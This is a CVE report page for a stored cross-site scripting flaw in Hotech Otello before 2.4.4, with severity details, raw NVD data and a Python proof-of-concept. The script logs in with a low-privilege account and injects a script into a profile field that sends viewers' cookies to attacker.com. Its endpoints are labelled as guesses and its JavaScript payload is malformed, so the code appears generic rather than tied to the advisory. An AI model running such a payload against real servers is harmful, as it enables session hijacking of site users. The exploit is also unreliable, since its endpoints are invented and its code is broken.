Security Vulnerability Report
中文
CVE-2025-13183 CVSS 7.3 HIGH

CVE-2025-13183

Published: 2025-12-23 13:15:42
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Hotech Software Inc. Otello allows Stored XSS.This issue affects Otello: from 2.4.0 before 2.4.4.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Hotech Otello 2.4.0
Hotech Otello 2.4.1
Hotech Otello 2.4.2
Hotech Otello 2.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-13183 PoC - Stored XSS in Hotech Otello # Target: Hotech Software Inc. Otello (versions 2.4.0 to < 2.4.4) TARGET_URL = "http://target-otello-server.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" INJECT_URL = f"{TARGET_URL}/api/user/profile" # Example injection point # Malicious XSS payload XSS_PAYLOAD = '<script>document.location="https://attacker.com/steal?c=' + 'document.cookie' + '</script>' def exploit_cve_2025_13183(): """ Exploit for CVE-2025-13183 Stored XSS vulnerability Attack Vector: Network (AV:N) Privileges Required: Low (PR:L) User Interaction: Required (UI:R) This PoC demonstrates injecting a stored XSS payload into user input fields. """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { "username": "attacker_user", "password": "password123" } try: response = session.post(LOGIN_URL, json=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Inject XSS payload into vulnerable field inject_data = { "field_name": "bio", # or other user input field "value": XSS_PAYLOAD } response = session.post(INJECT_URL, json=inject_data, timeout=10) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Any user viewing the affected page will execute the malicious script") return True else: print("[-] Injection failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13183 Stored XSS PoC") print("Target: Hotech Software Inc. Otello < 2.4.4") print("=" * 60) exploit_cve_2025_13183()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13183", "sourceIdentifier": "[email protected]", "published": "2025-12-23T13:15:42.317", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Hotech Software Inc. Otello allows Stored XSS.This issue affects Otello: from 2.4.0 before 2.4.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0476", "source": "[email protected]"}]}}